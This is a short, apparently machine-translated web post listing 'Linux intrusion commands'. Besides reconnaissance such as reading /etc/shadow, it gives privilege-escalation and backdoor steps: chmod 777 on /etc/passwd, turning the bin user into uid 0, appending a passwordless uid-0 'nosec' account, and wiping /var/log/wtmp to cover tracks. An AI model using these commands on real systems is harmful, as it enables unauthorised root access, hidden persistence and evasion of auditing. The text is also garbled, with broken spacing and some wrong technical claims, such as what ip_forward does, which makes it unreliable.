I would like to share with you someLinux intrusion command, Hope to be useful to everyone, but please use the Linux intrusion command effectively, do not do illegal things.
Linux intrusion command:
Cat/etc/passwd view linux Users
Root permission is required for cat/etc/shadow to view user passwords
Cat/etc/sysconfig/network-scripts/ifcfg-ethn N indicates the network card number to view the ip address of the network card.
Ifconfig
Cat/etc/resolv. conf view DNS information
Bash-I can intuitively display commands in the reverse shell.
Bash prompt: When you enter as a normal restricted user, you usually have a prompt similar to bash $. When you log in as Root, your prompt will become
Bash #.
System variable: Try echo "$ USER/$ EUID" and the system will tell you what USER it thinks you are.
Echo 1>/proc/sys/net/ipv4/if_forward is wrong, it should be echo 1>/proc/sys/net/ipv4/ip_forward,
Vim/proc/sys/net/ipv4/ip_forward. The default value is 0. That is, the kernel does not filter data packets and changes it to 1 to let the kernel filter data packets!
Netstat-an | grep LISTEN | grep: 80 view port
Service -- status-all | grep running
Service -- status-all | grep http
View running services
Lsb_release-a view the system version
Restart the ssh service:/usr/sbin/sshd stop
/Usr/sbin/sshd start
In the ssd_config File
PasswordAuthentication no,
Change it
PasswordAuthentication yes
Remote ssh Login
Otherwise, Access denied is displayed.
Usepam yes may be used to establish the pam login method, for example, from other linux Hosts ssh to the server. If it is disabled, it cannot be enabled.
Su's cainiao usage
Chomod 777/etc/passwd first
Then, modify the gid and uid of the bin user to 0.
Then passwd sets the bin password.
Then cp/bin/bash/sbin/nologin
Then, the su-bin can be used to access the rootshell.
This principle is that when ssh does not allow the root user to log on to the ssh terminal, we do not know the root password.
You can also
Sed-I s/bin: x: 1: 1/bin: x: 0: 1/g/etc/passwd
Gcc prtcl2.c-o local-static-Wall
Echo "nosec: x: 0: 0: //:/bin/sh">/etc/passwd
Echo "nosec:-1:-1:-1:-1:-1:-1:-">/etc/shadow
Clear the last record cp/dev/null/var/log/wtmp
-----
Dd if =/dev/zero of = yourfile bs = 10 M count = 10 create a large M file using Linux Kernel <= 2.6.17.4 (proc) local Root Exploit
Linux intrusionThe command has been introduced. Please try again.
- The Ubuntu IT industry is still vulnerable to piracy
- Ubuntu openSUSE features and package Building Services
- How to boot the Ubuntu file from the hard disk to DOS
- Are you ready to enter Enterprise Server Ubuntu?
- The core image file of the Ubuntu installation system points to the downloaded file.